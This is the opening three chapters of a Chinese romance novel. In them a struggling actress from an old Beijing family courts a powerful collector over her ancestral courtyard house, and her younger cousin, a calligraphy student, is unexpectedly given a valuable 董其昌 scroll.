《不知蝴蝶远》 1. 第 1 章 不知道是因为新来的佣人不小心还是怎么,品牌新一季的画册出现在了孟宗台会客室的茶几上。 薄薄一页被风掀开,停在某张硬照上。 女模特半低头,半张脸隐在珠光里,眼尾、唇角,以及那一点近乎倔强的安静,在某一瞬像极了一个人。 下午时,那一页上的模特本人就来到了孟宅。 她在外间站了将近一个钟头,才等到男人抽空。经纪人反复叮嘱过——不能问,不能拍,不能传。她以为会是吃饭、试衣,或者某种更隐秘的邀约。 然而都没有。 男人坐在单人扶手沙发里,搭着腮,隔着半室阴影看她,目光深晦得看不清,不露骨,也不欣赏,更像有人把一件旧物举到光下,想确认它到底是不是记忆里的颜色。 她站在沙发前,从野心勃勃到局促。 过了许久,他终于开了口,嗓音与年龄相符,沉稳的、对权力与供奉餍足了的声线。 “你的一些角度,让我想起故人。” 模特儿眼眸骤然亮起来,很快地答话:“是吗?还有许多人说我长得像沈冲扉呢,沈冲扉您知道吗——她是今年的视后。” 顿了一顿,她天真地问:“您的故人,也像沈冲扉吗?” 男人睨下眼睫,目光第一次明确地落在了模特脸上。 沈冲扉啊…… 他什么也没说,目光渐渐又远了。 窗外的蝉声响。又是一个初夏。 —— “今天六小姐要回来,你梳洗打扮一下,别蓬头垢面地见人。”芳姐进来收拾卧室,跟往常一样不管床上人的死活,“听到了没有,七小姐!” 沈冲扉从被窝里坐起来。老四合院的玻璃透亮,初夏的日头照在她露到旧T恤领口外的肩头上,瞧着珍珠般莹润。床头一本线装的《装潢志》倒扣着,一看就知道昨晚上又钻到半夜。 “你又不是不知道,我怕见六姐。”沈冲扉揉了揉困懵了的眼睛。 每个行将没落的大家族里,总会率先诞生出一个英雄的女性。 沈六小姐沈黎霜就是沈家的英雄。她年少时不顾劝阻,冒着被扫地出门的风险也要出道,且学且走且厮杀,以坚韧与必不可少的圆滑、狠辣,站到了娱乐圈的巅峰。 十数年来,她见证了资本的兴衰交替,始终傲立潮头,将对手熬走了一个又一个。全沈家都仰仗着她——虽然她的富贵对于沈家人来说,更像供桌上的贡果,看得见闻得到却吃不着。为了这一点,她每次回本家,那接待的阵仗都像后妃省亲。 沈冲扉是读高中时才来到京城,在此之前,她从不知道班里每周传阅的杂志上的大明星,跟她有血缘关系。 光线正亮,洗漱过后的沈冲扉,将一头黑亮长发拨至颈侧,用梳子猛猛顺了几把,坐到梳妆台前。 一方镜子,既照出正年轻的,也照出正老去的。 东三环铺满宝格丽大理石的大平层, 沈黎霜盯了镜中自己的双眼良久,说:“小昕,我又老了。” “六小姐说什么呢,您看您这脸,嘭亮的。”助理小昕说。 “用不着安慰我。”沈黎霜揭开乳霜盖,将数千元一瓶的面霜当护手霜,摩挲着,意味深长地说:“这圈子就是这么残酷。我老了,但总有人正年轻。” “您今天就这样?”小昕赶忙转过话题,“不是要见孟先生?” 沈黎霜只克制地画了个淡妆。 “人家这位子,什么美女没见过?要紧的是态度端正,浓妆艳抹的不像话。” “真这么厉害?”小昕半信半疑。京城不缺有来头的人,但很少见沈黎霜这样诚惶诚恐。毕竟,她贵为影后,掌诸多资源。 沈黎霜笑了一声,心弦久违地紧了一紧。 “小昕啊,”她叹息一声,为她的天真,“再越过他往上,就是直达天听了。” 小昕一愣,鸡皮疙瘩蹿了整条胳膊。 也正是如此,仅仅只是站到他面前,就已经动用了沈黎霜全部的能量。 放在一旁的手机嗡地连震了好几下。沈黎霜心头一烧,怕打开,怕是冲自己来的。那家影业暴雷几天,股东一个接一个被挂上热搜,像击鼓传花。 胡同里。沈冲扉在手心倒了些便宜喽嗖的薏仁水,闭起眼在两颊拍了拍,护肤就算完成了。 她的脸上软组织丰满,线条是柔美的弧线,看不出骨头的痕迹,但也得承认,是骨架底子好,才能这样恰到好处地挂肉。 拍完水,她起身去奶奶那儿吃早饭。 老太太已是九十五岁高龄,但气色不错,坐在暑热蒸不到的阴处。沈大小姐也在,身边是她的儿媳和孙女儿岑岑。 沈大小姐的儿媳妇叫了声:“七姨。” 她膝上的小孩跟着叫:“七奶奶。” 沈冲扉不好意思,“哎”得很轻。 你七姨七奶奶还没到二十呢。 大人寒暄,七奶奶也没开口的份儿,跟小孩儿坐一桌,两颗脑袋凑一起聊樱桃小丸子。 老太太刚一放筷子,沈冲扉就赶忙把自己的也一扔:“我陪您遛遛弯儿。” 她不想在这不熟的六姐跟前献殷勤。 不多时,沈六沈黎霜的大G就开进了巷子,停在了一座四合院前。 她仰头看了看这宅子。 老四合院的去处,一是被收公,二是被私人交易。几十年来,市面上的好货已没多少。文人圈子里,有名士靠给大人物倒腾四合院为业,发家致富,寻常人不知。沈黎霜也是多亏了这种人才搭上了孟宗台。 她并不知道他全名,那个掮客不肯说,只说:“圈内都称呼他为孟先生。”如有外人在场,则一律称孟总,近商而远政。 沈黎霜压了压眼。今天这趟她没跟任何人透露真相。要是说了自己想用四合院借花献佛,恐怕老太太第一个轰她出门。 “岑岑,叫六奶奶。”沈大小姐亲自抱了小孩到门口,套近乎。 沈黎霜寒暄着,数度抬腕看表,右手捏着手机不肯放。 已经过了约定时间,她却还没收到那位司机的通知。沈黎霜急躁起来,不是嫌浪费时间,而是怕他改主意了,没来。 也是该的,这阵子压力太大,让沈黎霜又犯了老胃病。就在她跑去吐的当口,一台轿车驶近了胡同。 车的款式低调,稍显过度持重,车头立标红旗样,京A8的老牌段,黑色车身纤尘不染,光可鉴人——这在常有风沙的京城不容易。 司机先下,绕到后座车门边,将手在门顶掩住:“孟总,您留神。” 一只深棕色的孟克鞋先迈了出来,黑西裤管儿下一截黑袜利落地收进鞋口。视线再往上,男人俯身出来,肩宽腿长,黑衬衣领口松着两颗,没系领带,非工作期间才能见的散漫。 正是孟宗台。 他眼皮略掀,戴着一圈沉香珠的手抄进西装裤,驻足两秒。 朱门掉漆,有股破落相,但实打实的广亮大门,只比王府稍次,说明祖上阔过。 趁他注意力不在,司机老许在手机上摁了一下,发出了一条通风报信的短信。 叮的一声信息送达声,沈黎霜的精神也为之一振,竟不吐了。漱了口,嚼了一把药,满面春风小跑出去。 “孟总!有失远迎!擎等着您电话呢。”她的声音由远及近。 其实这只是两人的第一面,但多年的摸爬滚打让沈黎霜明白,什么时候该摆出强势影后的模样,又是什么时候该讨巧卖乖。这点略含埋怨的嗔怪,是沈黎霜的功力。 她看向他,用的是走红毯时的微笑。 男人比她料想的年轻。是她理所当然了,以为那种身份,那种位子,怎么也该四十往上。然而真要沈黎霜猜他的年纪,又不敢——因为权势熏陶下的男人,不老而老,老而不老,八风不动,不露底细。 何况他轮廓又很英挺,神情是这类人惯有的心不在焉,一双眼眸狭长微挑,本该是多情的底子,但在权力带来的淡漠下,被压成了某种不动声色的审视。 沈黎霜一路迎他进内院,几个亲戚早被小昕劝进了房。 四合院是阔气的三进,各厢房由抄手游廊连着。院子里摆了几只大缸,荷花正俏,莲叶底下有鲤鱼的摆水声。 “这就是后花园。太湖石,戏台,都是祖上的旧荣光了。” 沈黎霜带着孟宗台,亲自将沈家这座祖宅里外介绍了一遍,从祖上的辉煌,到每一砖每一匾的来历,叹往昔,攀关系。 中间人没辜负她的天价好处费,帮她谋划得很对:请孟先生吃饭,你不够格;通过秘书公事约见,顶多给十分钟;只有逛四合院,你才有机会,因为这时候的他最闲散,也最宽容。 老许帮腔:“看不出,京城居然还藏着这样儿的福地。” 孟宗台一直懒懒垂阖的眼皮稍抬了抬。 那边,密密匝匝的紫藤萝结成的紫色瀑布下,溜达回来的一老一少正穿过。 “六姐有客?”沈冲扉抬眸望了一望,正巧看到男人穿过月洞门的侧影。 黑衬衫,袖口上挽,身量很高,过门时微微躬身,姿态好极了,透着股 散漫的倜傥。 没等她再看,老太太催命嘟囔:“快快快回房间,不招待。” 沈冲扉便没停,依言送她回房。借着给老太太剥莲子吃,她刚好也躲着不出门。 谁知老太太却支她当奸细:“你去,帮奶奶听听墙角儿,看你六姐跟客人说什么。”夺下莲蓬:“莲子我自个儿会剥。” 沈冲扉:“……” 没见过近百岁的老太太好奇心还这么旺的。 没辙,只好煞有介事地猫出去,贴墙根站笔直。芳姐瞅见了,刚要招呼,沈冲扉手忙脚乱比了好几个“嘘”。 荷花缸边,沈黎霜奉茶而站。 蝉声从院墙外的老槐树上一阵一阵压下来,热得她像要中暑了。实则这才刚过九点。 “我就挂个名,钱怎么走的我压根不知道,凭什么这账要算到我头上来” ——沈冲扉隐约听到她说。原本开小差的神经似被一根针戳醒了。 她忽然想起最近听到的同学们的讨论。说是有家挺大的影视资本暴了雷,老板卷钱跑路,扯出了一长串的明星股东,有人连夜撇清,有人装死不应,热闹得像过年,大家都在等着看哪个大明星落马。 但这热闹落到局中人沈黎霜身上,就是一张越收越紧的网。 几年前那家公司找她做挂名股东、拉她站台的时候,她只当是寻常,签了字,拿了份额,从没过问钱是怎么走的。她原本不慌,自己清清白白,就算要查,查到头也牵连不到她。 但沈黎霜怎么也没想到,那人一个四十多的老帮菜,眼看要沉,居然卖了屁股爬了床,把这烂账一股脑儿扣到了她这个挂名人头上。 沈黎霜不服气,也不认——好处她没吃多少,凭什么要死时轮她? 京城是这点好,要什么关系都有;京城也就这点不好,大鱼吃小鱼,一环扣一环,除非你能通天。 沈黎霜看着男人的侧脸,手指缝里慢慢地渗出了汗。 只要能救自己,老太太的心头好、沈家的荣光、最值钱的祖宅,她能拱手让人。 ——要是他要别的,她也什么都豁得出去。 然而对于她的暗示,孟宗台却始终没应声,垂眼看荷花,神情懒散,仿佛没听到。须臾,他搭在缸沿的指尖漫不经心地微叩了叩。 声响轻微,却让缸中鱼猛地受惊,摆尾躲藏。 沈黎霜的神经亦是猛地一紧。 这是她职业生涯最晦暗不明的一刻,她狠心一赌,开了天窗说亮话:“您看这宅子……?” 偷听的沈冲扉脑子嗡了一下,倏然站直了身子,只觉得一股凉气直窜。 她听明白了,她又好像没明白。她高高在上的六姐现在风雨欲来,前途难保,所以——她想把奶奶当命看的老宅子,献给……这个男人? 良久,一明一暗的姐妹两人终于听到男人开了尊口。 一把沉朗的好声线,说的却是题外话—— “养鱼有讲究,红白花的挤在一起,热闹是热闹。” 他略一顿。荷叶下黑澄澄的水里,一双平静无澜的眼倒映在这些锦鲤上。 “但地方不够,总得有牺牲。” 沈黎霜只觉得脑内惊雷炸响,炸得她侍奉盖碗茶的手指尖发抖,太阳穴嗡嗡的,半天没缓过劲儿来。 他几乎是明着劝她安天命、死心了。 然而能吗?她半辈子鲜花着锦的生活!沈黎霜不死心,还想再追加几句,但一道脆生生的童声却抢先欢快地嚷了起却来:“七奶奶!七奶奶!” 沈冲扉心跳骤停,倒吸一口凉气,蹲地一把抱起岑岑、捂嘴、闪身躲避,一气呵成。 不敢大声喘,心脏发疼。 孟宗台不着痕迹地往那片紫瀑布扫了一眼,唇微勾了勾:“沈小姐,看来你的七奶奶,很不放心你啊。” 人早没了影,只余藤蔓被穿堂风掀动,簌簌地晃。 沈黎霜心里暗骂,忙拿话头去引:“外地来的亲戚,没见过世面,唐突孟总了。” 孟宗台搭在缸沿的手指又轻叩了一下。 这两句不像是说长辈的,倒像是教训晚辈。 月洞门那头。 沈冲扉按着怀里的岑岑,防止她扭着要下地。听到他那一声戏谑的“七奶奶”,她的耳廓像是跟他的声线擦枪走火了,滚烫得厉害。 这位六姐的客人,不是寻常人。 这个认知来得没头没脑,却让她大脑里响起了警报——要离这个人远一些。 她那时还不知道,有些人一旦撞进了命里,是躲不过去的。 2. 第 2 章 数分钟后,沈黎霜站在门口,目送红旗车远去直到消失不见。 一转身,她脸孔平静,将手里那套清末盖碗塞进小昕手里,直奔沈冲扉那间厢房。 没想到沈冲扉竟没躲在房里,而是在刚刚男人站过的荷花缸前,似乎已做好了心理准备。 “七妹妹看来也知道自己闯祸了。”沈黎霜冷哼一声。 旧式大家族都人口庞杂,辈分混乱。沈黎霜跟这堂妹不熟。她成名如日中天时,这姑娘还在襁褓里——二十七岁之差。别说姐妹,当母女都够用。 十七岁前,沈冲扉在徽州长大,是老太太做主说让她来京。瘦死的骆驼比马大,沈家没落了,但老太太还有点关系在,替她弄好了学校。 而沈黎霜则早把父母接到朝阳住大平层,只偶尔来老宅探亲。沈冲扉不常来她这儿刷存在感,借着备考闭门不出,两人的关系顶多是沈黎霜丢几件闲置的衣服给她。不过倒是一次也没见她穿过。 “都听到了什么?”沈黎霜问。 沈冲扉不打算供出老太太,抿抿嘴巴糊弄:“只是经过,有点好奇。” “这就对了,不该打听的别打听。”沈黎霜稍软和一些态度,打量着她。 十九岁,胶原蛋白满脸,又卸去了高中生那份稚嫩和尴尬,四肢修长,体态轻盈,目光亮亮的,上下两瓣唇抿在一起,丰软得像要化了的粉芭乐冰淇淋。 她很纯,不艳不妖,但这种纯美,本身就妖如罂粟。 “你,想不想当明星?” 这就是沈黎霜今天来的第二个目的。 娱乐圈的热钱越来越多,走了煤老板来了互联网老板,新人上新比zara还快。对沈黎霜来说,前有狼后有虎,老东西还没彻底退位,新人却虎视眈眈。身居高位,她没一天睡得安稳。 色衰而爱驰,她知道观众和大佬们早晚会厌了她弃了她,她要在此之前找到接班人。 这个人必须足够美,足够亲,足够听话,保证永远不会反过来倾轧她、背叛她。 沈冲扉,就是完美人选。 沈黎霜要用这位七妹的肉体凡胎,供自己的常开不败。 “当明星比你考古修文物舒服多了,花不完的钱,多的是人争着抢着伺候你。” 沈冲扉无疑是漂亮的。周围人认她漂亮,她也知道自己漂亮。但京城哪一朝哪一代缺过美人,去戏影那几个院校找找,杨玉环也能给你找出来。 光是漂亮,不够。她有自知之明。 沈冲扉哑然失笑:“六姐,你不了解我,我上课都不敢举手发言。” “你扮猪吃老虎,我难道看不清吗?”沈黎霜挑了挑眉,直接拆穿她:“上课是闷罐子,夜里挑灯到三点,看上去温温吞吞的,但有机会就上从不放跑。老七,你六姐我这辈子阅人无数,看不走眼。” 沈黎霜盯着她这张写满元气的脸,步步紧逼:“你长得漂亮,这辈子躲不过男人。要是长在原来那破镇子,也许随便找人嫁了,生一两个孩子老了难看了也就清净了。但你偏偏来了京城。钱权逐美人,亘古不变的人本性,你在这里,注定有数不尽的诱惑和祸害。” “一樽花瓶最好的保护方法,就是摆在聚光灯下,展览台上。” 这样的在情在理,这样的语重心长,沈黎霜有把握说动她。毕竟,这只是个不到二十岁的姑娘。哪个姑娘二十岁时不向往锦衣玉食,不向往众星拱月?数不尽的爱和钱都流向她,全世界都哄上来——这样的二十岁,比鸦片还好。 庭院寂静,唯余蝉声。 良久,沈冲扉问:“六姐说了这么多,有几分是为我,有几分是为自己?” 沈黎霜猝不及防:“什么?” “六姐现在自身难保不是么?”沈冲扉看着她的双眼,不给她巧言令色的机会。 沈黎霜被一双二十岁的黑眼珠锁住,竟也有了转瞬的慌张。她愣了好几秒,一声失笑:“你听见得不少啊。” 不仅听见,还听进去了,听明白了。 “不错,我是碰上麻烦了,但就算死,你看我不拉十几二十个下来垫背,全行业都给我陪葬。”她轻轻咬着一口细牙,又倏然一松,“何况,谁说我是必死无疑?” “靠……刚刚那个男人?”沈冲扉歪歪脑袋,目光陌生地打量她,“靠卖祖宅?” 沈黎霜眯了眯眼,警觉,高压,但很快又松弛了。 就算沈冲扉去跟老太太说又怎么样?卖宅子本就要老太太点头签字,真到了那一步也瞒不过。何况奶奶是大家的奶奶,沈冲扉一个十七岁才过来的丫头,能比得上她这打小在跟前的? 沈黎霜哼笑一声:“小七,通风报信可不是个聪明的举动。” 沈冲扉抿着唇,没作声。 不错,这件事里她没有发言权。她父母远在异乡,她年纪又小,跟所有人都隔了一层。要不要卖宅子,多得是大人拿意见,轮不到她。 她下意识瞥了眼老太太睡的那厢房。她只是觉得不公平。 “我这个危机,是无论如何要闯过去的,你好好考虑考虑。”沈黎霜戴上墨镜,轻描淡写地丢下一句:“也许你决定入圈了,我也就不献这院子了。” 还没到拉扯的时候,沈黎霜退得干净利落,只留下一道响雷在沈冲扉这平淡的日常中,余声震然,恒久未散。 “七小姐怎么一点也不开心呀?”小昕打转方向盘,艰难地将大G倒车。她知道沈黎霜的打算。而且届时她很有可能会被派去跟沈冲扉,她还挺期待的。沈黎霜到底是大牌,不好伺候。 “她拒绝了。” “……” “拒绝了?!” “妈呀……” 小昕感叹三连。天上掉馅儿饼的事呢。 “没事,她会懂的。”沈黎霜笑笑,指尖在屏幕敲了几下。 一张经纪人的微信名片,就这样推送到了沈冲扉手机上。没有任何附言,象征着绝对的安排。 沈冲扉在原地站了会方才回房,换了一身素色旗袍和一双半旧的帆布半拖,将一台小电瓶车推了出来。 芳姐站在门槛处交代:“骑慢点儿啊,头盔戴好。” 沈冲扉应了一声,一出芳姐视线就将速度拧到了底。 她刻苦,考上了全国顶级的考古文博学院,又托了写字画画的童子功,在系内大拿周教授那儿打些揭裱或做摹本的下手。暑假快来临,周教授说有个老友那儿需要人,给了她一个地址,说对方姓裴,年纪大,耳朵略有些背,让她答话时响亮些。 电瓶车拐进北边小路,蝉声压得低低的。 同一时刻,黑色红旗轿车一路向北。 孟宗台靠在后座,闭着眼,右手放松自然地搭在腿上,手指长而瘦,骨意清俊。 老许从后视镜里觑了他一眼,忖度着问:“真没想到,沈家这宅子……” “沈黎霜给了你什么?” 老许顿了一顿,心是云霄飞车上往下掉的那一刻,失重,哆嗦。 他不知道孟宗台是什么时候看出来的,索性嬉皮笑脸:“就说逃不过您的眼。” 这嬉皮笑脸和沈黎霜的自来熟娇嗲一样,都是他们某一特定类人锻炼出的生存智慧。 司机、警卫、秘书,都是注定要被人打点的肥差,有时帮透露点行踪、稍递点话,就能换小县城一间房。老许是孟家的老人,先是孟宗台伯父的警卫,后来被安排来当司机。但他敢笑,不是因为有恃无恐,而是知道没人比孟宗台这种高门子弟更懂“水至清无鱼”的道理。 他口吻刻意轻松:“这不是松松要艺考了嘛。” 松松是他女儿,也想进圈赚快钱。打点主考官和招生办的事儿,他是不敢叨扰孟宗台,虽然就是后者一句话的功夫。 在一片说不好是长还是短的寂静中,老许的方向盘因为手汗而变得湿滑难握。 倏尔,孟宗台懒洋洋地开了口:“罚三个月绩效,自己去领罚。” “哎!”哪敢有二话,老许手臂一松,脆声领了,“那沈小姐的事儿……?” 车窗外,法桐的影子和光阴一道亮一道地扫过孟宗台的脸。他唇角轻动,玩世不恭中略带些淡漠:“乘人之危,夺人所好,我是这样的人吗。” 老许头皮一紧,心底长叹一声。 车自平稳开。孟宗台的指节在膝上轻点一下,说:“查查沈家哪来的七奶奶。” 老许从后视镜里飞快瞄了一眼:“是蹊跷,怎么数能数出七个奶奶?难道是建国后还偷着纳了这么多妾?” 孟宗台没接他话,老许便不再讨嫌了。 车子拐进了一条窄胡同,在一道窄窄的门脸前停下。门楣上有一块旧匾,墨题二字:裴宅。 他顺道来裴泰南这儿取一套托他修复的古字画。 老许上前去揿门铃。老保姆很快来迎门,并将他请去别屋喝茶。孟宗台则自顾自跨进院去,熟门熟路,猫见了他也不躲。 书房的会客区里,裴泰南坐在官帽椅上,手边摆着一个木托盘,盘上铺着一块墨灰色的布,布上是一卷轴,函套已磨得发暗。 一眼看过去,托盘、布、手卷、函套,样样都旧。 放别处,旧东西遭人笑话,但在这儿,贵旧不贵新。 “今儿倒是有空了。”裴泰南调侃一句,可见此前已三催四请了孟宗台多次。 孟宗台笑笑:“怎么好一直占着您的库房。” “我是不介意。”裴泰南精神矍铄地笑了两声:“一直放我这儿我也没意见。” 彼此都知道是玩笑,一是裴泰南这一生经手过的国宝无数,不贪这一卷,二是这残卷估价上千万,裴泰南哪敢留。 孟宗台从匣子里取出手卷,搁在长案上,缓缓展开。 是一卷董其昌的行书,有几处开裂,画心上一处霉点吃进纸里,得洗、得揭。这活儿全国能下手的不超过五个,裴泰南是其中一个。 孟宗台翻看,两人边喝茶边聊。老保姆崔妈忽地进来,附耳低声说:“周望舒推荐的那小姑娘到了。” 裴泰南一拍腿:“瞧这记性。” 孟宗台见状起身:“我去那边看看您新到的那几方砚。” 他绕过老榆木做的博古架隔扇,进了书房的另半开间。 这边崔妈领着一个姑娘就进来了,素色旗袍,帆布半拖,细白的脸被太阳晒出了些潮红。 看到官帽椅上的老人,沈冲扉的心不激荡是假的。 她没猜错,在考古文博界,唯有一个泰斗姓裴——裴泰南,五十年代故宫古书画修复组的核心成员之一。上半年有场讲座,她远远见过他一眼。 “裴老师。” 沈冲扉将音调起高。她的声线不脆,有种绵绵的糯米味儿,倒像南方来的。细听之下,口音也不地道。 裴泰南对她这音量很满意,听着不吃力。点点头:“坐。” 沈冲扉将双手在旗袍后一捋,在官帽椅上坐下,只坐了一半,腰挺腿并,大家闺秀的苗情。 茶碗轻响一声,裴泰南说话:“周望舒跟我提过你两次,说你是沈家的姑娘。哪一房的?” 听到“沈”姓,孟宗台略略抬眼。这么巧,今天是跟姓沈的缠上了? 他的目光透过木格和陈列的古董,看向那侧——< /p>一老一少对坐,光从南窗漏进来,落在女孩侧脸,亮白成一片,轮廓隐约。 他微怔,压出暗影的双眸中透出了一瞬间的警惕和严厉,为这张脸上若有似无的相像。 那半厢沈冲扉不敢怠慢,很恭敬地说:“二房的,祖母苏氏。” “我记得,五几年在故宫,她来给我们送过点心。” “是,她那时候在前头中学教书。” “她现在还好?” “九十五了。”沈冲扉笑道:“还好,多数人事都还记得。不过我来之前,不知道这么巧,都没跟奶奶提起呢。” 崔妈在一旁伺候茶点,多嘴道:“你老师没跟你说呀?” 裴泰南摆摆手,起身走到博古架前,取了一方东西过来:“怎么样,您给掌掌眼?” 沈冲扉被“您”字憋了个满脸绯红,接过砚台半天没说话。端详数眼,大胆开了口:“底子发青,鸲鹆眼是活的。像老坑,但可能要试一试才知道。” “哟呵。”裴泰南出声。 孟宗台也是笑笑,指腹蹭着自己手里这方新砚。小丫头片子,讲话倒很老道。 “说错您别怪。”沈冲扉赶忙补了一句,“家里原本有一方麻子坑,祖父留下的,我从小研墨就用的它。” “怪不得连周望舒都称赞你是童子功。”裴泰南赞叹了一句。 做这一行的,尤其是他们这一代,哪个不是童子功?但在新生代里越来越难得了。能从小定在桌前写字画画的就少,练出了名堂又考进这一行的更少。 裴泰南接着问:“你写字,从谁起的?” 沈冲扉斟酌着。周教授荐她过来,她不好太藏拙,给她丢脸;但在这样的泰斗面前,什么功夫都不够看,因此也不能过分自信,显得轻狂。 沈冲扉最终简略地答:“四岁练《多宝塔》,八岁时换了褚河南的《雁塔圣教序》,十二岁前后临王临赵,后来开始练王宠。画的话,七岁起临《芥子园》三卷,十一岁起临陈洪绶的人物白描。” 新砚台到底是失去了吸引力,被孟宗台不知不觉放下了。 王宠、陈老莲,都不是小年轻能看进去的。听声音,这姑娘约莫二十出头,敢说这话,除非是真的临到极致,否则都算托大。 这声轻轻砚台落桌的声音,亦是让沈冲扉的神经也动了一动。 原来隔壁有人。 莫名地,她加剧了心中那种被考核的紧张感。 裴泰南问得刁钻起来:“你练王宠,陈老莲,倒是难得。说起来,你不喜欢谁?” 沈冲扉卡壳了。 这话题危险,说不好就得罪人。裴泰南是泰斗,功绩盖过了个人偏好,小辈很难揣摩准。万一就说了个他喜欢的? “你放心说大胆说。”裴泰南给她定心丸。 孟宗台也在等她的回答,一种隔帘听戏的戏谑心态,一手抄进西装裤兜里,俯下身去抄盖碗茶。今天这趟不算白来。 沈冲扉说:“唐伯虎。” 耍小聪明。 孟宗台勾唇一哂。 裴泰南自然也没上当,略带一丝狡黠追问:“还有呢?这不出格,你甭藏。” 沈冲扉没留意案上那一卷残卷,停顿稍长一些后说:“董其昌。” 这话一出,屋子里剩下三个人可都安静了,就连最不懂行的崔妈也是清了清嗓子。 孟宗台半倾的身体顿了一顿,修长五指间轻松拢着盖碗,却一时没喝,脸上神情变得意味不明,难以形容。 他那卷董其昌就在那姑娘手边摆着。 他收藏的董其昌,也不止这一卷。 董其昌是清初以来文人画的“圣人”偶像。敢在行家面前说不喜欢他,是冒了大风险,轻则显得不专业——这是能力问题,能补;重则显得轻佻显摆——这是态度问题,招人厌。 哪怕他不现身,气场也足够让屋里气氛变了。变得危险而凝滞,风声鹤唳。崔妈汗毛都竖起来,想出屋去了都。 裴泰南这个老顽童偏偏还拱火:“董其昌。董其昌行啊。那你说说,为什么不喜欢董其昌?” 一句话三个董其昌,就怕隔墙人没听清。 孟宗台挑了挑眉。这老东西。 一声瓷器的轻擦声挑动人的神经,让沈冲扉耳根子发痒。她克制不住地想回头,却不敢,腰身挺得越发直。 她能感到身后似乎有一道视线停留在她身上,深深沉沉,说不好是猎食者的眼神,还是导师的眼神。又或者兼而有之。 孟宗台将碗盖抹开一线,碗口对上薄唇,浅浅饮了一口这明前龙井。 等她的回答。 话聊到这儿,也是难回头了,沈冲扉壮了壮胆豁了出去:“我觉得他的字也飘,画也看不下去。而且他自己讲‘南北宗’,把画分了高下。” 裴泰南没说话,悠悠找茶喝。 只能听见自己呼吸声的安静中,自隔扇后响起一道不轻不重的脚步声。 沈冲扉耳神经一跳,终于受了惊似的望去。 一道身影从清凉的、浸透了旧物气味的阴影里走出来,先是肩,再是脸,由虚到实,最终显出一道优越的、冷峻的身形。 在她面前缓缓站定。 沈冲扉仰头看着来人,心鼓渐强,视线跟着他手上的动作走—— 一只戴着串沉香珠的手递了出来,抄起了案上的什么。 一错眼,东西就落到了沈冲扉的怀里,很沉—— “沈小姐快人快语,这卷董其昌,送你了。” 裴泰南快九十岁的高龄也没忍住,噗的一声把茶都喷了出来。 3.第 3 章 董什么?什么其昌?谁的残卷? 东西沉沉在沈冲扉怀里,她没举动,像刚刚接手了一块炭,还没反应过来烫不烫。 她不懂行情,但她懂裴泰南——泰斗不会为了一卷赝品喷茶。 如此,这东西值多少沈冲扉也不敢猜了,满脑子大喇叭回响着自己的大放厥词,还是在真藏家面前。 一抹红从她脸上漫下来,过下颌,过颈线,直至旗袍领口里去,像一笔红墨水洇进牛奶。 她想说点儿什么找补,但人已懵,话都堵在喉咙口,只能抬起头来。 一张脸终于完整地落进了孟宗台的视线里,被他看全。 孟宗台是看物的人,看了小半生真赝。他看她,先见是“干净”,一张脸素淡到极处,似一把没开过刃的雪刀。月白旗袍的盘扣一路扣到了喉间,连一线锁骨都不肯漏,鬓发漆黑。 雪夜里立着的石菩萨,古刹里坐在光线里的玉观音。 这一眼很短,但这一眼又莫名地让沈冲扉觉得很长。 她无法分辨这种长是来自于身体里羞耻感的折磨,还是来自于男人停留在她脸上的眼神。 最终这人什么也没对她多说,收回目光,转向裴泰南略一颔首:“改天再来拜访,您留步。” 崔妈秒切状态:“我送您,孟总。 两人背影没入书房外的白昼,猫打了个哈欠,发出呓语。沈冲扉怔在原地。 那感觉就像什么呢?好端端走在路上忽然来了场暴雨,浇得她浑身湿透,又骤然放晴了,她的身体又湿又热,被雨和太阳双重折磨,双重想问——“不是,凭什么?” 沈冲扉醒过来,起身去追。还没出门槛儿,身后就传来裴泰南悠悠一句:“甭追了。” 她停步,回头望他。 裴泰南呷一口茶,慢条斯理地说:“好好收着吧,姑娘,天要让你走大运,你可不兴推啊。” “……” 沈冲扉嘴唇动了动,想说的话多到挤着了。 她敢收吗,敢藏吗,敢卖吗?放哪儿?怎么保存?匿名捐出去?回头他来找她要,她怎么说?没签赠予协议也没交易证明。 一道雷劈着了算走运吗?走着了,确实挺独一无二的,但要命。 裴泰南跟她大眼瞪小眼半天,好心:“想说什么尽管说,别憋着了。” 沈冲扉却是弯腰:“我那样说董其昌,得罪他了。东西我给原模原样搁这儿,下回他再来,劳您物归原主。” 纵她的心惊雷万响,她最终还是安静处理。 哪承想裴泰南笑意微敛,给了她两个字:“不成。” 东西都还没来得及脱她手。 “姑娘,这是他跟你间的事,要不要还,你说了算;能不能还,是你的本事;肯不肯收,看他的主意。东西修好了,跟我的缘就了了。” 裴泰南端起茶碗,又劝了一句:“别太局促,你出门去往右转,到头后再右转,到大街上,数不清的楼都是他的,开得起这玩笑。” 沈冲扉最终也没问出这人姓甚名谁,什么身份。 骑上小电驴,怀揣不知道价值几个零的字画,她照着裴泰南的指示在胡同里右转再右转,出胡同口,喧嚣车流声和人声瞬间淹没而来。 “……” 好么,王府井。 新楼与老楼鳞次栉比,数不尽的玻璃幕反射出层层夺目光亮,她置身其中,如一只被晃花了眼要撞南墙的鸟。呆了几秒,缓缓确认了一件事:她约莫是得罪了一个了不起的人。 其实那个时候,她就该懂得,她和他在的不是同一个京城。可是偏偏花上了那么许多日子。 到了周望舒教授的工作室,几个研究生各自在忙。因为童子功,沈冲扉本科就能来打杂,原是有非议的,但她面相好,性格也好,不招嫉恨,师兄姐们都挺照顾她。 等了半天终于等到周教授,沈冲扉噌一下起身,跟只刚出壳的小鸡似的亦步亦趋,眼巴巴。 周望舒睨了她一眼:“在裴老那儿闯祸啦?” 沈冲扉摇摇头又点点头。 小丫头片子能闯出什么大祸。周望舒拉开办公椅坐下,转开泡了茶叶的保温杯,不以为意:“怀里什么?” 沈冲扉一刻也没犹豫地递出去:“裴老有客人在,客人给的。” “那怎么这副脸色?”周望舒好笑地问,接过木匣子。 干这一行到这地位,经手宝贝不下千件,有感应。东西一上手,周望舒脸色就微微变了,又问了遍:“客人给的?什么人?” 沈冲扉一问三不知:“好像姓孟。” 今儿六姐的客人也姓孟。说明姓孟容易发达。 周望舒又看了她一眼,目光温柔。 她眼里的沈冲扉是个冲天漂亮的老实孩子,性格踏实,能静能定,这样的孩子能捅什么篓子呢?就算是对方送了什么宝贝给她,顶天了也就是支贵毛笔。 周望舒不疾不徐地品了口茶,放下杯子,开木匣、拆布帛、展手卷。 “噗——”的一声,她也一口茶全喷了。 如此千钧一发之际,好歹还记得把脸歪向一边,省得在这古董上留下她倾家荡产也赔不起的污迹。 学生们闻声而来,以为她身体不适,到了近处一看,异口同声地发出一声:“卧槽?!” 沈冲扉尴尬得想钻地缝。 周望舒边咳嗽边挥手:“关关关关风扇,关窗!拉窗帘!” 